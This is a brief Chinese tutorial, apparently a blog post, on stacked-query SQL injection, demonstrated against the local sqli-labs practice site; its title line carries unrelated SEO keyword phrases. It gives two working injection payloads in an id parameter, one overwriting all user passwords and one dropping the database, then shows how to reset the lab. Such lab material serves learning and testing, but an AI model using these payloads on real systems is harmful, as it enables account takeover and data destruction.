h5建站是什么網(wǎng)絡(luò)輿情處置的五個步驟
文章目錄
- 堆疊查詢是什么?
- 堆疊查詢修改所有用戶密碼
- 堆疊查詢刪除數(shù)據(jù)庫
- 恢復(fù)數(shù)據(jù)庫
堆疊查詢是什么?
在SQL中,分號
;
是用來表示一條sql語句的結(jié)束。試想一下我們在;
結(jié)束一個sql語句后繼續(xù)構(gòu)造下一條語句,會不會一起執(zhí)行?因此這個想法也就造就了堆疊注入。而union injection(聯(lián)合注入)也是將兩條語句合并在一起,兩者之間有什么區(qū)別么?區(qū)別就在于union 或者union all執(zhí)行的語句類型是有限的,可以用來執(zhí)行查詢語句,而堆疊注入可以執(zhí)行的是任意的語句。
堆疊查詢就是多條語句一起執(zhí)行,之間用;分割,它和聯(lián)合查詢不同的地方在于,聯(lián)合查詢中語句類型是有限的,只能執(zhí)行查詢語句,而堆疊查詢執(zhí)行的可以是任意種類的語句。
堆疊查詢修改所有用戶密碼
輸入下面的SQL語句,堆疊查詢修改密碼:
?id=1';update users set password='654321';--+
執(zhí)行成功:
查看用戶的密碼:
id為1的用戶:
id為2的用戶:
密碼都為654321,修改成功!
堆疊查詢刪除數(shù)據(jù)庫
輸入下面語句
?id=1';drop database security;--+
執(zhí)行成功:
數(shù)據(jù)庫已被刪除:
恢復(fù)數(shù)據(jù)庫
在http://127.0.0.1/sqli-labs-master/中點(diǎn)擊Setup/reset Database for labs重新建立一個sqli-labs數(shù)據(jù)庫
恢復(fù)成功: